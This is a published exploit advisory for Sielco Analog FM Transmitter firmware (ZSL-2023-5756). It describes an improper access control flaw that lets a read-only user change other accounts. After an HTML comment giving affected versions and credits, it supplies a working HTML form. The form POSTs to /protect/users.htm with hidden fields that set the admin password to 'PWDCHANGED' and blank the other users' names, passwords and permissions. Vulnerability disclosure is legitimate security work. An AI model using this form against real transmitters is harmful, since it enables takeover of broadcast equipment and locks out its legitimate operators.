Sielco Analog FM Transmitter 2.12 – Improper Access Control Change Admin Password
<!-- ## Exploit Title: Sielco Analog FM Transmitter 2.12 - Improper Access Control Change Admin Password ## Exploit Author: LiquidWorm Vendor: Sielco S.r.l Product web page: https://www.sielco.org Affected version: 2.12 (EXC5000GX) 2.12 (EXC120GX) 2.11 (EXC300GX) 2.10 (EXC1600GX) 2.10 (EXC2000GX) 2.08 (EXC1600GX) 2.08 (EXC1000GX) 2.07 (EXC3000GX) 2.06 (EXC5000GX) 1.7.7 (EXC30GT) 1.7.4 (EXC300GT) 1.7.4 (EXC100GT) 1.7.4 (EXC5000GT) 1.6.3 (EXC1000GT) 1.5.4 (EXC120GT) Summary: Sielco designs and produces FM radio transmitters for professional broadcasting. The in-house laboratory develops standard and customised solutions to meet all needs. Whether digital or analogue, each product is studied to ensure reliability, resistance over time and a high standard of safety. Sielco transmitters are distributed throughout the world and serve many radios in Europe, South America, Africa, Oceania and China. Desc: The application suffers from improper access control when editing users. A user with Read permissions can manipulate users, passwords and permissions by sending a single HTTP POST request with modified parameters and edit other users' names, passwords and permissions including admin password. Tested on: lwIP/2.1.1 Web/3.0.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5756 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5756.php 26.01.2023 --> <html> <body> <form action="http://transmitter/protect/users.htm" method="POST"> <input type="hidden" name="pwd0" value="PWDCHANGED" /> <!-- This will set/modify admin pwd --> <input type="hidden" name="pwd0bis" value="PWDCHANGED" /> <!-- This will set/modify admin pwd --> <input type="hidden" name="user1" value="" /> <!-- This will set/modify user1 --> <input type="hidden" name="pwd1" value="" /> <!-- This will set/modify user1 pwd --> <input type="hidden" name="pwd1bis" value="" /> <!-- This will set/modify user1 pwd --> <input type="hidden" name="auth1" value="0" /> <!-- This will set user1 read perm --> <input type="hidden" name="user2" value="" /> <!-- This will set/modify user2 --> <input type="hidden" name="pwd2" value="" /> <!-- This will set/modify user2 pwd --> <input type="hidden" name="pwd2bis" value="" /> <!-- This will set/modify user2 pwd --> <input type="hidden" name="auth2" value="0" /> <!-- This will set user2 read perm --> <input type="hidden" name="user3" value="" /> <!-- This will set/modify user3 --> <input type="hidden" name="pwd3" value="" /> <!-- This will set/modify user3 pwd --> <input type="hidden" name="pwd3bis" value="" /> <!-- This will set/modify user3 pwd --> <input type="hidden" name="auth3" value="0" /> <!-- This will set user3 read perm --> <input type="submit" value="Modify admin pwd, delete all users" /> </form> </body> </html> |